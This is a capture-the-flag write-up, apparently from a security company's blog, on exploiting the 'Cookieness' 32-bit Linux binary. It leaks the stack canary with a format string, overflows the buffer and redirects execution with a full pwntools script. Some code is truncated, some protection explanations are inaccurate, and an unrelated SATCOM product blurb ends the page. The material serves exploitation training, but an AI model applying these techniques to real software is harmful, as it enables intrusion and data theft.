Cookieness: Bypass Stack Canaries using Format String Vulnerabilities

Cybersecurity and Encryption


In this article, the exploitation of a vulnerable binary is carried out, using a CTF (Capture The Flag) challenge designed specifically for this purpose. “Cookieness” is a challenge of the pwn category or binary exploitation that consists of reading a file called “flag.txt” through a format string vulnerability and a stack buffer overflow on a Linux system. It was presented at the CTF Universitario de Madrid by the Seek N Hack association.


Source code

If the reader wants to solve this challenge on his machine, he should create a file, named “flag.txt” with any content, and compile the following code with the command: gcc -m32 main.c -o cookieness -fstack-protector -no-pie. The source code is also available in the following repository:



#includechar * fileName = “flag.txt”;
char * signature = “Merk was here.”;// Unused function to print the first 100
// chars of a file passed as an argument
void print_file(char * name) {
char flag[100];FILE * fp;
fp = fopen(name, “r”);// If the file can be opened and read, print its contents
if (fgets(flag, 100, fp) != NULL)
printf(“Mostrando contenido de %s: %s”, name, flag);
printf(“Fichero %s no encontrado.”, name);
}void welcome() {
// Ask user for input
printf(“%s”, “Login: “);// Get user input
char strUser[20];
fgets(strUser, 20, stdin);// Print welcome message, followed by a printf
// with a format string vulnerability
printf(“%s”, “Bienvenido, “);
printf(strUser);// Get user input via vulnerable gets function
puts(“\nPuedes leer flag.txt?”);
}int main(int argc, char * argv[]) {
// Vulnerable function
return 0;



A first glance shows us that it is a 32-bit binary, dynamically linked and not stripped. This means that it has been compiled with symbols, so we will be able to read the names of the functions implemented in the code when we dig deeper, among other things.

└─$ file cookieness
cookieness: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, BuildID[sha1]=3a32702afe6d664b62c9d
806d496072435a557e8, for GNU/Linux 3.2.0, not stripped

If we run strings on the binary, we’ll get a hint. The string flag.txt seems to be our target. Other strings referring to the functionality of the binary can also be read.

└─$ strings cookieness

Merk was here.
Mostrando contenido de %s: %s
Fichero %s no encontrado.
Puedes leer flag.txt?

By loading the binary with gdb and running checksec, we can check the type of protections that the binary has enabled.

    • A Canary or Cookie is a random value that is generated at each execution as protection against stack buffer overflows. Before terminating any function and reaching a “ret” statement, it checks that the value has not changed or been corrupted. This means that in order to overwrite EIP by means of a stack buffer overflow, we will need to know the value of the cookie in each execution.
  • NX (No eXecute)/DEP
    • NX or DEP consists of a protection that requires that certain areas in memory are not executable. In our case, we won’t be able to execute our shellcode on the stack directly.
gdb-peda$ checksec

FORTIFY : disabled
PIE : disabled
RELRO : Partial

Running the binary we can see that we have two entries, the first of which is reflected by the console.

└─$ ./cookieness
Login: test1
Bienvenido, test1Puedes leer flag.txt?

Carrying out more tests we can see that the first entry has a format string vulnerability, and to the second we introduce a large number of characters, it turns out that it is vulnerable to a buffer overflow. However, we overwrite the cookie and get a stack smashing detected, as the NX protection has detected our exploit attempt.

└─$ ./cookieness
Login: %x
Bienvenido, 804a065Puedes leer flag.txt?
*** stack smashing detected ***: terminated
zsh: IOT instruction ./cookieness

Finally, since the binary is not stripped we can look at the names of the functions.

gdb-peda$ info functions
All defined functions:Non-debugging symbols:
0x08049000 _init

0x080491a6 print_file
0x08049243 welcome
0x080492f3 main

0x08049334 _fini

The most interesting functions are print_file, welcome and main. Analyzing the print_file function with any decompiler reveals that it is used to read the contents of a file passed as the only argument. Note that this function is never called in the binary.

unsigned int __cdecl print_file(const char *a1)
FILE *stream; // ST24_4
char s; // [esp+18h] [ebp-70h]
unsigned int v4; // [esp+7Ch] [ebp-Ch]v4 = __readgsdword(0x14u);
stream = fopen(a1, (const char *)&unk_804A020);
if ( fgets(&s, 100, stream) )
printf(“Mostrando contenido de %s: %s”, a1, &s);
printf(“Fichero %s no encontrado.”, a1);
return v4 – __readgsdword(0x14u);


Explotando el binario

Taking the above into account, one way to solve the challenge is to:

  1. Read the CANARY or COOKIE of the welcome function using the format string vulnerability.
  2. Induce a stack buffer overflow using the newly obtained CANARY.
  3. Redirect EIP to the print_file function by placing a pointer to txt on the stack, since when we executed strings, we saw that it existed.

The vulnerable printf that allows us to read memory from the stack is located at this address:

0x080492b3 <+112> call 0x8049094 <printf@plt>

So we will place a breakpoint. We will execute the binary until the breakpoint, and we will check where the CANARY is in order to read it.

gdb-peda$ b * 0x080492b3
Breakpoint 1 at 0x80492b3gdb-peda$ run
Starting program: /home/merk/****/cookieness
[Thread debugging using libthread_db enabled]
Using host libthread_db library “/lib/x86_64-linux-gnu/”.
Login: testBreakpoint 1, 0x080492b3 in welcome ()

If we look at the end of the welcome function, we can see how the CANARY is compared. We’ll see what comes out of [ebp-0xc].

0x080492dd <+154>: mov eax,DWORD PTR [ebp-0xc] <— aquí
0x080492e0 <+157>: sub eax,DWORD PTR gs:0x14
0x080492e7 <+164>: je 0x80492ee <welcome+171>
0x080492e9 <+166>: call 0x8049320 <__stack_chk_fail_local>

Then we check what ESP position the CANARY is in. It is 11 DWORDS away, and we will see that normally the last byte is “00

gdb-peda$ x/x $ebp-0xc
0xffffcdbc: 0xe4a1a300 <— los CANARY siempre terminan en 00
gdb-peda$ x/20x $esp
0xffffcd90: 0xffffcda8 0x0804a065 0xf7e21620 0x0804924f
0xffffcda0: 0xf7fbf4a0 0xf7fd7a6c 0x74736574 0xf7fb000a
0xffffcdb0: 0xffffcdf0 0xf7fbf66c 0xf7fbfb30 0xe4a1a300 <— aquí
0xffffcdc0: 0x00000001 0xf7e20ff4 0xffffcdd8 0x08049308
0xffffcdd0: 0xffffd09b 0x00000070 0xf7ffd020 0xf7c213b5

Therefore, if we place the string “%11$x” in the first entry of the binary, we will print the CANARY. In this case, the “11$” indicates that we want to print the eleventh value of the stack, and the “x” indicates that we want to print it in hexadecimal.

└─$ ./cookieness
Login: %11$x
Bienvenido, 1e66b800Puedes leer flag.txt?

Now we can try to overwrite it on the second input, and crash the process with arbitrary values. We need to know how far away the CANARY is from what we override once called the gets function. To do this, we will use pattern from gdb-peda and see what offset we overwrite the CANARY with.

gdb-peda$ b * 0x080492e0 <— en esta dirección se comprueba el CANARY
Breakpoint 1 at 0x80492e0gdb-peda$ pattern create 50
Starting program: /home/merk/****/cookieness
Login: test
Bienvenido, testPuedes leer flag.txt?
EAX: 0x41412d41 (‘A-AA’) <— EAX contenía el CANARY, que hemos sobrescrito
…gdb-peda$ pattern offset 0x41412d41
1094790465 found at offset: 20

We already know that the CANARY must be overwritten at offset 20. Mounting the following script, we will see that we have overwritten the CANARY and that we can redirect the program.

from pwn import *

# run the process
p = process(“./cookieness”)

gdb.attach(p, ”’

break welcome


# get the 11th stack variable (the canary/cookie)

# read the cookie from the abused string format vulnerability
cookie = p.readline(20).decode().split(‘, ‘)[1]
num = int(cookie, 16)
print(“Cookie = ” + hex(num))

# build the payload
payload = b”A” * 20
payload += p32(num) # get to the canary and overwrite it with itself
payload += b”B” * 50

# send the payload

Running it, we get a SIGSEGV, correctly redirecting to our arbitrary memory address.

Stopped reason: SIGSEGV
0x42424242 in ?? ()

We use pattern again to check the distance from the CANARY to the EIP and we get that it is another 12 bytes ahead (I don’t show it because it’s a matter of repeating the process). Now that we can modify EIP to our liking, all we have to do is point to the print_file function, and pass a pointer to the string flag.txt on the stack.

gdb-peda$ break main
Breakpoint 1 at 0x80492f6gdb-peda$ rungdb-peda$ find flag.txt
Searching for ‘flag.txt’ in: None ranges
Found 4 results, display max 4 items:
cookieness : 0x804a008 (“flag.txt”)
cookieness : 0x804a07f (“flag.txt?”)
cookieness : 0x804b008 (“flag.txt”)
cookieness : 0x804b07f (“flag.txt?”)

We can use any of the two that do not have a “?” in the end. And it will only remain to build the final script.

from pwn import *

print_file = 0x080491a6
flagtxt = 0x0804a008

# run the process
p = process(“./cookieness”)

# get the 11th stack variable (the canary/cookie)

# read the cookie from the abused string format vulnerability
cookie = p.readline(20).decode().split(‘, ‘)[1]
num = int(cookie, 16)
print(“Cookie = ” + hex(num))

# build the payload
payload = b”A” * 20
payload += p32(num) # get to the canary and overwrite it with itself
payload += b”B” * 12
payload += p32(print_file) # get to EIP and overwrite it with the print_file function
payload += b”C” * 4 # return address before parameters
payload += p32(flagtxt) # add an address that points to “flag.txt” to the stack as a parameter

# send the payload

# jackpot


And we would get the contents of the flag.txt file.

└─$ python3
[+] Starting local process ‘./cookieness’: pid 2417
Cookie = 0x76d0fc00
[+] Receiving all data: Done (81B)
[*] Stopped process ‘./cookieness’ (pid 2417)Puedes leer flag.txt?
Mostrando contenido de flag.txt: SNH{this_is_a_test_flag}



This article has bypassed the stack protection measure CANARIES or COOKIES in Linux binaries using a format string vulnerability. Once evaded, a stack buffer overflow has been used to redirect program execution and obtain the contents of a file on the target system.

Marcos González Sanz, Cybersecurity Consultant at Cipherbit-Grupo Oesía





Discover more


Family of SATCOM On The Move (SOTM) terminals for vehicular installation and stable mobile connection

SGoSat is a family of high-tech SOTM (Satellite Comms On The Move) terminals that are installed in a vehicle, providing the ability to target and maintain a stable connection to the satellite when the vehicle is in motion in any type of conditions.

The SGoSat family is composed of versatile terminals, which can be installed on any type of platform: trains and buses, military and/or government vehicles, aircraft, ships, etc. Originally designed for the military sector, SGoSat terminals are extremely reliable and robust, integrating high-performance components that comply with the most stringent environmental and EMI/EMC regulations. The product uses low-profile, high-efficiency antennas and a high-performance positioning and tracking unit, allowing the terminal to be operated anywhere in the world.

In order to meet the diverse needs of its customers, INSTER has developed single band and dual band terminals in X, Ka and Ku frequencies.

The SGoSat family of terminals can also be configured with a wide range of radomes (including ballistic options) to suit customer requirements.